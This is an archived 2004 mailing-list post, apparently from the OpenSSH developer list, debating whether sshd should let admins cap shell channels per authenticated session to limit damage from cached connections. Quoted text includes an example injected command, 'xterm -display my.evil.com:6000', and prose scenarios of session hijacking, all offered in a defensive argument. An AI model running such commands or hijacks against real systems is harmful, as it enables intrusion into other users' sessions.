Connection caching?

[Jefferson Ogata]

Peter Stuge wrote:
> On Mon, May 03, 2004 at 10:58:49PM -0400, Jefferson Ogata wrote:
>>It disappoints me that you guys have so little concern about providing 
>>controllable authentication mechanisms. You really just don't get how dumb 
>>it is to have implemented this feature in the server /without/ having 
>>provided a configuration directive to control it, do you?
> 
>>From draft-ietf-secsh-architecture-15.txt:
> 
> 9.4 Connection protocol
> 
> 9.4.1 End point security
> 
>    End point security is assumed by the connection protocol.  If the
>    server has been compromised, any terminal sessions, port forwarding,
>    or systems accessed on the host are compromised.  There are no
>    mitigating factors for this.

That statement is simply untrue.

We can certainly imagine, and no doubt find, a trusted system where the 
compromise of a user's login does not lead to any ability for an intruder to 
interfere with, eavesdrop on, or modify established sessions belonging to that 
user -- a system where perhaps ptrace is disabled and ptys are chowned to root 
or unlinked after opening, and where no process memory image is available. The 
intruder might still change the behavior of future logins by the user, but not 
any already existing ones.

In this case, perhaps an intruder can arrange that, the next time the user 
authenticates to a remote system, the intruder can take control of the new 
session. But meanwhile there is a real opportunity for the compromise to be 
discovered /before/ it results in a remote compromise via a new ssh shell channel.

...Unless the ssh server supports creating new shell sessions over an already 
authenticated session. With the functionality currently under debate, as soon as 
an intruder gets into a user account, he can immediately get onto any system for 
which a "cached connection" is available. A limit within sshd on the number of 
shell channels per ssh session mitigates against this attack.

>    If the client end point has been compromised, and the server fails to
>    stop the attacker at the authentication protocol, all services
>    exposed (either as subsystems or through forwarding) will be
>    vulnerable to attack.  Implementors SHOULD provide mechanisms for
>    administrators to control which services are exposed to limit the
>    vulnerability of other services.

Which is, in fact, what I am asking for.

>    These controls might include controlling which machines and ports can
>    be target in 'port-forwarding' operations, which users are allowed to
>    use interactive shell facilities, or which users are allowed to use
>    exposed subsystems.

I would certain read that to allow limiting the number of shell channels per 
successful authentication.

>>From draft-ietf-secsh-connect-18.txt:
> 
> 5. Channel Mechanism
> 
>    All terminal sessions, forwarded connections, etc. are channels.
>    Either side may open a channel.  Multiple channels are multiplexed
>    into a single connection.
> 
> (Sorry for pasting so much into this thread..)
> 
> On Tue, May 04, 2004 at 01:36:15AM -0400, Jefferson Ogata wrote:
>>>>I wouldn't agree that they're useless, but they're clearly incomplete, 
>>>>hence the /need/ for a configuration directive.
>>>
>>>Let's imagine for a moment that the server restricts each client to only 
>>>one session.  If the client is compromised, there's still nothing to 
>>>stop it from jamming, eg, "xterm -display my.evil.com:6000" into the 
>>>command line.  Or pretending the connection was terminated and hijacking 
>>>the session outright.
>>
>>The former is what OTP is supposed to prevent. The latter requires an 
>>attacker of unusual skill.
> 
> Compared to breaking the SSH authentication I don't think it requires
> all that much skill. This is getting political, but if your attacker
> wants in, he can get it. I realize you don't want to protect against
> attackers, rather against lazy users but that would IMHO be solved by
> crond as with most other cleaning-up. :)

Suggestion noted, but shouldn't be necessary. More later...

>>>What it boils down to is that once a client is authenticated, the
>>>server is trusting it with the credentials of the user it allowed
>>>to log in.
>>
>>I keep mentioning OTP here...
> 
> Please read up on the above mentioned secsh drafts, OTP can be used for
> authentication of one SSHv2 session, which in turn can carry multiple
> channels where a shell or a command is executed in each.

In the model currently used by the openssh client, only one channel is used for 
a shell session; other channels are used for port, X11, etc. forwarding.

Given that this is the way the openssh client behaves now, I can't see how it's 
any great horror to allow the server to enforce the current behavior.

>>>There's a limit to what the server can enforce.  How, for example, could 
>>>it prevent a user from posting their passwordless private key to Usenet? 
>>>Or writing their passwords on Post-It notes and sticking them on their 
>>>monitor?  Pointing a webcam at their SecurID token?  I'm sure you'll 
>>>agree that these are insecure behaviours.
>>
>>Lazy users will do some of those things. But they won't typically scan a 
>>hardcopy S/KEY password list in and post it on a web page. If they do, 
>>they're not being lazy any more.
> 
> Right. With SSHv2 plus the ssh-session-agent all the attacker (sorry,
> lazy user) has to do is to hijack the socket instead of the terminal.
> I lack statistics to back this, but I think the terminal is easier to
> reach, because of human error.

I don't think hijacking the socket works -- key exchange runs before 
authentication. The attacker needs to know the shared key to do anything useful 
with the hijacked socket.

>>Access control is supposed to be about authentication /and/ authorization.
>>Authentication is ultimately your sole defense against intrusion. When 
>>authentication is compromised, authorization is your control on the scope 
>>of the compromise. What we have here is degraded control over 
>>authorization, and apparently it's been that way for some time.
> 
> Yep, ever since support for multiple channels in SSHv2 was added.
> 
>>It is a reasonable expectation for an admin to be able to say: one 
>>authentication authorizes one session. If the admin wants to relax that 
>>control, fine, but it needs to be discretionary.
> 
> I'm not sure I read the SSHv2 drafts the same way.. They could of
> course be improved, just like everything else, but if you want to help
> with that (please do!) I'd suggest the ietf-secsh mailing list instead
> of openssh-unix-dev.

Suggestion noted.

> On Tue, May 04, 2004 at 03:27:12AM -0400, Jefferson Ogata wrote:
>>>Unless your OTP authenticates exactly one *command*, it won't stop a 
>>>compromised client from injecting an extra command into an already 
>>>authenticated login session.
>>>
>>>Your original statement was "You're advocating a mechanism that renders 
>>>one-time password useless against a remote client compromise."  What I'm 
>>>saying is that even with your proposed modification, it's still useless 
>>>against remote client compromise.
>>
>>You wrote "useless", where the correct wording would be "useful but not 
>>totally secure."
> 
> SSHv2 puts all the security in the Transport Layer, anything on top
> of that shouldn't try to impose more restrictions except for, as quoted
> above, which users are allowed access to what services.

I don't read it the way you do.

Let's suppose a user logs into a system that allows X11 forwarding and has a 256 
per-process file descriptor hard limit. The user proceeds to forward 255 X11 
connections, using up all the available descriptors. I somehow doubt sshd has a 
suitable architecture to provide any more channels in this situation. We would 
accept that the next attempt to allocate a channel would fail on account of a 
hard resource limit being imposed by OS policy.

So why would compliance with ssh v2 demand that the ssh server cannot give the 
admin a means to impose a resource limit on the number of shell channels?

>>>>The latter requires an attacker of unusual skill.
>>>
>>>Not necessarily.  Trivial example: set the user's login shell to 
>>>"screen" on the machine running the ssh client, let them log in then 
>>>kill their incoming TCP connection and resume their screen session.
>>
>>All of your scenarios (change user shell, hack client, etc.) are 
>>substantially more complex than:
>>
>>1. Get user shell somehow.
> 
> This is substantially complex on most all systems I know. I admit I
> don't know all of the systems out there, though.

But it's assumed in all scenarios. I just put it in so there would be two steps 
rather than just one.

> [..]
> 
>>In this scenario, the user could have authenticated a month ago. You
>>seem to be assuming the attacker will have many opportunities to
>>piggyback on live authentications, while I'm concerned about latent
>>sessions providing a way to bypass authentication altogether.
> 
> So make sure users log out using e.g. crond?

Again, shouldn't have to. Besides, no matter how short an idle time we allow, 
there is still a window for an attack to be successful.

>>Again, these scenarios require a window for the intruder to prepare an 
>>attack, and require modification of system configure or user profile, 
>>either of which might be detected, and in any case, the user has to 
>>authenticate /after/ the attacker has done his thing. Any attempt to
>>hijack an already authenticated session after the fact requires, as I
>>said, an advanced attacker, not just some idiot who can type "ssh
>>bozo at victim" and get in because bozo logged in to victim six weeks ago
>>and left a shell running.
> 
> Publish a system policy and kick the bozo out after a day. :)

If only... :^)

Still -- one day attack window.

>>No, the server can't stop it completely. But a user's being able to
>>exceed the limitations of sshd because he has an unrestricted shell
>>is vastly different from sshd not providing hooks to limit
>>authorization.
> 
> It's not a bug, it's a feature, hehe.

That's what they all say. :^)

>>>>It is a reasonable expectation for an admin to be able to say: one 
>>>>authentication authorizes one session. If the admin wants to relax 
>>>>that control, fine, but it needs to be discretionary.
>>>
>>>If "session" == "SSH session" that's what you've got now.  What we're 
>>>disagreeing about is the value of making additional restrictions
>>>within a single SSH session, for the reasons listed above.
>>
>>By session, I mean a remote shell or command (albeit composite)
>>invocation, obviously.
> 
> Not so obvious if you work a lot with the SSH protocol, since the
> conecpt of a session is standardized there.

I think the context was clear here, and yes, I've referred to ssh sessions 
elsewhere. But I'm trying to be tighter with the terminology so there aren't any 
more misunderstandings.

> It seems that what you really want is some kind of system where the
> user has to authenticate before every action she takes. This could be
> accomplished with a custom shell, or an application server, or...

I want the user to have to authenticate to get a new shell. But now that you 
mention it, it's an interesting idea to require authentication for each port 
forwarding action. Not sure there's any way to prompt in the existing paradigm tho.

> I'm not sure it really should be done with sshd? It compares well with
> chroot()ing sftp users..

I think it's more general than that.

-- 
Jefferson Ogata <Jefferson.Ogata at noaa.gov>
NOAA Computer Incident Response Team (N-CIRT) <ncirt at noaa.gov>